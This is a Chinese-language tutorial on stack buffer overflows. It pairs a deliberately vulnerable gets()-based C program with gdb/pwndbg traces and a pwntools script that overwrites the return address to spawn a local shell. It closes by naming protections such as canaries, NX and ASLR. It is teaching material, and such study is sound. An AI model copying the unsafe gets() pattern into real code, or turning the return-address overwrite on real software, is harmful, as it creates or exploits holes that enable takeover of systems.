浅析栈溢出原理
说明
本文主要讲解简单栈溢出的基本原理, 如果有什么不对的地方或者更好的建议, 还请大佬指正.
工具准备
- linux系统
- 调试工具gdb
- gdb插件:pwndbg
- pwntools工具包
关于pwndbg插件和pwntools可以在github搜索并下载安装,需要python环境
函数栈帧与ESP、EBP寄存器
C语言中,每个栈帧对应一个未运行完的函数. 栈帧中保存了函数的局部变量和返回地址, 即保存着函数的执行环境.
------摘自百度百科
ESP寄存器保存着栈帧的栈顶地址, EBP寄存器保存着当前函数栈帧的栈底地址. (32位系统为ESP、EBP, 64位系统为RSP、RBP, 其它寄存器同理)
call指令、leave指令与ret指令
汇编语言中, 用call指令来实现函数的调用, 指令格式: call address;
call指令效果相当于"push eip; jump address;". 不仅是跳转到指定函数地址执行指令, 在跳转之前还将当前IP寄存器中的值(下一条指令的地址)压入到了栈中. 从而可以在被调函数执行完之后, 继续执行当前函数.
在被调函数执行完毕后, 程序要准备退出函数, 需要leave指令来释放函数栈帧, 并使EBP寄存器恢复旧值, 执行的操作相当于"mov esp,ebp; pop ebp; “, 之后ret指令将程序执行流返回上层函数. 有点c语言中return语句的意味. ret指令效果相当于"pop eip;”. 即将栈顶保存的值出栈, 作为下一条将要执行指令的地址赋值给IP寄存器.
造成栈溢出的原因
系统栈是由高地址往低地址增长的, 而数据的写入是按低地址到高地址的顺序写入. 如果程序没有对输入的字符数量做出限制, 就存在数据溢出当前栈帧以及覆盖返回地址的可能, 从而实现控制程序的执行流.
溢出原理
以32位可执行程序为例, 我们将通过调试分析下面这段简单的代码来理解栈溢出.
#include<stdio.h>
#include<unistd.h>
void shell(){
system("/bin/sh");
}
void vulnerable(){
char buf[16];
gets(buf);
}
int main(){
vulnerable();
}
可以看到buf大小只有16字节,而gets()函数却可以无限输入,不检查字符上限, 直到遇到’\n’字符为止.
我们将c文件编译链接成可执行文件:
# 编译参数先不讲解,在后面讲解保护机制时解释
# 只需知道-m32是将.c文件编译成32位程序即可
gcc -m32 -fno-stack-protector -no-pie main.c -o stack
我们用objdump 来反汇编一下生成的可执行文件(部分反汇编代码):
08049172 <shell>:
8049172: 55 push ebp
8049173: 89 e5 mov ebp,esp
8049175: 83 ec 08 sub esp,0x8
8049178: 83 ec 0c sub esp,0xc
804917b: 68 08 a0 04 08 push 0x804a008
8049180: e8 bb fe ff ff call 8049040 <system@plt>
8049185: 83 c4 10 add esp,0x10
8049188: 90 nop
8049189: c9 leave
804918a: c3 ret
0804918b <vulnerable>:
804918b: 55 push ebp
804918c: 89 e5 mov ebp,esp
804918e: 83 ec 18 sub esp,0x18
8049191: 83 ec 0c sub esp,0xc
8049194: 8d 45 e8 lea eax,[ebp-0x18]
8049197: 50 push eax
8049198: e8 93 fe ff ff call 8049030 <gets@plt>
804919d: 83 c4 10 add esp,0x10
80491a0: 90 nop
80491a1: c9 leave
80491a2: c3 ret
080491a3 <main>:
80491a3: 55 push ebp
80491a4: 89 e5 mov ebp,esp
80491a6: 83 e4 f0 and esp,0xfffffff0
80491a9: e8 dd ff ff ff call 804918b <vulnerable>
80491ae: b8 00 00 00 00 mov eax,0x0
80491b3: c9 leave
80491b4: c3 ret
80491b5: 66 90 xchg ax,ax
80491b7: 66 90 xchg ax,ax
80491b9: 66 90 xchg ax,ax
80491bb: 66 90 xchg ax,ax
80491bd: 66 90 xchg ax,ax
80491bf: 90 nop
上图可以看到, 在执行call之前,系统会将参数入栈(32位程序如此), 执行call指令进入函数之后, 前两条汇编指令都相同:
55 push ebp
89 e5 mov ebp,esp
这两条指令的作用是将上层函数栈帧的栈底入栈,同时将栈顶作为本函数栈帧的栈底.
函数调用时栈的变化情况大致如下所示:
执行call指令时首先esp执行-4操作, 栈顶上移, 然后将call指令的下条指令地址存入栈顶位置, 从上图汇编代码可以看出是将地址0x80491ae入栈, 栈向低地址方向增长.
进入vulnerable函数之后,分别执行前两条指令构造新栈帧:
将当前栈帧的ebp入栈, 然后将ebp移动到栈顶位置, 此时vulnerable函数的栈帧构造完毕,当有临时变量时, esp指针执行sub操作,指针上移, 为临时变量开辟栈空间.
函数功能执行完毕,准备返回时, 需要将栈空间释放, 即销毁当前栈帧, 在上面汇编代码部分可以看到, 用户定义的函数末尾通常会有两条指令(有时候没有leave指令):
c9 leave
c3 ret
执行leave指令, 首先将esp移动到栈帧的栈底ebp的位置, 之后执行出栈操作, 将栈顶赋值给ebp, 此时ebp恢复旧值, 因为出栈操作, esp指针下移. (出栈操作并不会清除栈内数据, 只是将esp的值修改了而已)
之后执行ret指令, 将栈顶赋值给IP寄存器 , esp下移, 程序继续. 所谓栈溢出就是想办法将上层函数的栈帧中的"返回地址"给覆盖掉, 以达到改变程序执行流的效果. 在本例中, 就是往buf中一直写入数据, 直到将main栈帧中"返回地址"给覆盖掉. 当程序执行完vulnerable函数后, 将返回到指定地址继续执行指令.
接下来我们用动态调试工具gdb和pwndbg来调试此程序:
常用的gdb/pwndbg命令如下:
- b function_name —> 在函数处下断点
- b *address —> 在地址address处下断点
- info b —> 查看断点信息
- r —> 运行程序
- n —> 单步步过
- s —> 单步步入,函数跟踪
- c —> 继续执行
- fin —> 跳出,执行到函数返回处
- stack n —> 查看栈内n个存储单元的数据
运行gdb, 并在main函数处打上断点, 运行程序:
可以看到最上面是一些寄存器的状态, 往下是程序执行处的反汇编代码, 小箭头指向将要执行指令, 接着是部分栈空间的状态, 包括ebp和esp的位置信息, 最下面是函数调用顺序, 可以看到程序执行时, main函数并不是第一个被调用的函数, 是由__libc_start_main调用.
Breakpoint 1, 0x080491a6 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
EAX 0xf7fa7dc8 (environ) —▸ 0xffffbcbc —▸ 0xffffbe9f ◂— 'SHELL=/bin/bash'
EBX 0x0
ECX 0xcaf93e6a
EDX 0xffffbc44 ◂— 0x0
EDI 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d9d6c
ESI 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d9d6c
EBP 0xffffbc18 ◂— 0x0
ESP 0xffffbc18 ◂— 0x0
EIP 0x80491a6 (main+3) ◂— 0xe8f0e483
───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x80491a6 <main+3> and esp, 0xfffffff0
0x80491a9 <main+6> call vulnerable <vulnerable>
0x80491ae <main+11> mov eax, 0
0x80491b3 <main+16> leave
0x80491b4 <main+17> ret
0x80491b5 nop
0x80491b7 nop
0x80491b9 nop
0x80491bb nop
0x80491bd nop
0x80491bf nop
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ ebp esp 0xffffbc18 ◂— 0x0
01:0004│ 0xffffbc1c —▸ 0xf7de6b41 (__libc_start_main+241) ◂— add esp, 0x10
02:0008│ 0xffffbc20 ◂— 0x1
03:000c│ 0xffffbc24 —▸ 0xffffbcb4 —▸ 0xffffbe74 ◂— '/home/darkfox/Desktop/code_project/c/stack'
04:0010│ 0xffffbc28 —▸ 0xffffbcbc —▸ 0xffffbe9f ◂— 'SHELL=/bin/bash'
05:0014│ 0xffffbc2c —▸ 0xffffbc44 ◂— 0x0
06:0018│ 0xffffbc30 ◂— 0x1
07:001c│ 0xffffbc34 ◂— 0x0
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
► f 0 80491a6 main+3
f 1 f7de6b41 __libc_start_main+241
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
我们接着执行, 直到往buf输入数据为止:
0x804918c <vulnerable+1> mov ebp, esp
0x804918e <vulnerable+3> sub esp, 0x18
0x8049191 <vulnerable+6> sub esp, 0xc
0x8049194 <vulnerable+9> lea eax, [ebp - 0x18]
0x8049197 <vulnerable+12> push eax
► 0x8049198 <vulnerable+13> call gets@plt <gets@plt>
arg[0]: 0xffffbbf0 ◂— 0x1
arg[1]: 0x40000
arg[2]: 0x7
arg[3]: 0x8049203 (__libc_csu_init+67) ◂— 0x8301c783
0x804919d <vulnerable+18> add esp, 0x10
0x80491a0 <vulnerable+21> nop
0x80491a1 <vulnerable+22> leave
0x80491a2 <vulnerable+23> ret
0x80491a3 <main> push ebp
我们输入’aaaa’, 并查看栈数据, 可以看到我们输入的数据存储在地址0xffffbbf0处, 我们需要覆盖的数据在地址0xffffbc0c处, 中间相隔了0x1c字节的数据. 另外我们需要程序返回shell函数处, 运行shell函数, 获得系统控制权, 此时我们可以将shell函数的地址0x8049172覆盖原来的地址数据.然后就大功告成.
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 20
00:0000│ esp 0xffffbbe0 —▸ 0xffffbbf0 ◂— 'aaaa'
01:0004│ 0xffffbbe4 ◂— 0x40000
02:0008│ 0xffffbbe8 ◂— 0x7
03:000c│ 0xffffbbec —▸ 0x8049203 (__libc_csu_init+67) ◂— 0x8301c783
04:0010│ eax 0xffffbbf0 ◂— 'aaaa'
05:0014│ 0xffffbbf4 —▸ 0xffffbc00 —▸ 0xf7fe4520 (_dl_fini) ◂— push ebp
06:0018│ 0xffffbbf8 —▸ 0xffffbcbc —▸ 0xffffbe9f ◂— 'SHELL=/bin/bash'
07:001c│ 0xffffbbfc —▸ 0x80491db (__libc_csu_init+27) ◂— 0xff10b38d
08:0020│ 0xffffbc00 —▸ 0xf7fe4520 (_dl_fini) ◂— push ebp
09:0024│ 0xffffbc04 ◂— 0x0
0a:0028│ ebp 0xffffbc08 —▸ 0xffffbc18 ◂— 0x0
0b:002c│ 0xffffbc0c —▸ 0x80491ae (main+11) ◂— 0xb8
0c:0030│ 0xffffbc10 —▸ 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d9d6c
... ↓
0e:0038│ 0xffffbc18 ◂— 0x0
0f:003c│ 0xffffbc1c —▸ 0xf7de6b41 (__libc_start_main+241) ◂— add esp, 0x10
10:0040│ 0xffffbc20 ◂— 0x1
11:0044│ 0xffffbc24 —▸ 0xffffbcb4 —▸ 0xffffbe74 ◂— '/home/darkfox/Desktop/code_project/c/stack'
12:0048│ 0xffffbc28 —▸ 0xffffbcbc —▸ 0xffffbe9f ◂— 'SHELL=/bin/bash'
13:004c│ 0xffffbc2c —▸ 0xffffbc44 ◂— 0x0
用python编写漏洞利用脚本
#!/usr/bin/python3 #指明脚本解释程序
# 导入pwntools工具
from pwn import *
# 运行stack程序
io = process('./stack')
# shell函数返回地址
shell = 0x8049172
# 构造payload,先填充0x1c字节的垃圾数据,再覆盖返回地址
# pack()将整型数值打包成32位字节码,也可用 p32(shell) 代替
payload = b'a' * 0x1c + pack(shell,32)
#如果是python2, payload构造方式如下
#payload = 'a' * 0x1c + p32(shell)
# 向程序发送数据
io.sendline(payload)
#交互模式
io.interactive()
运行脚本后获得系统控制权限,执行ls命令,果然可以查看当前目录的文件
darkfox@darkfox-PC:~/Desktop/code_project/c$ python3 io.py
[+] Starting local process './stack': pid 15404
[*] Switching to interactive mode
$ ls
how2heap io.py main.c stack
$
那真对这种简单的栈溢出, 有什么防止的办法呢? 请查阅栈保护措施 canary机制、栈不可执行（NX）、地址随机化（PIE、ASLR）机制。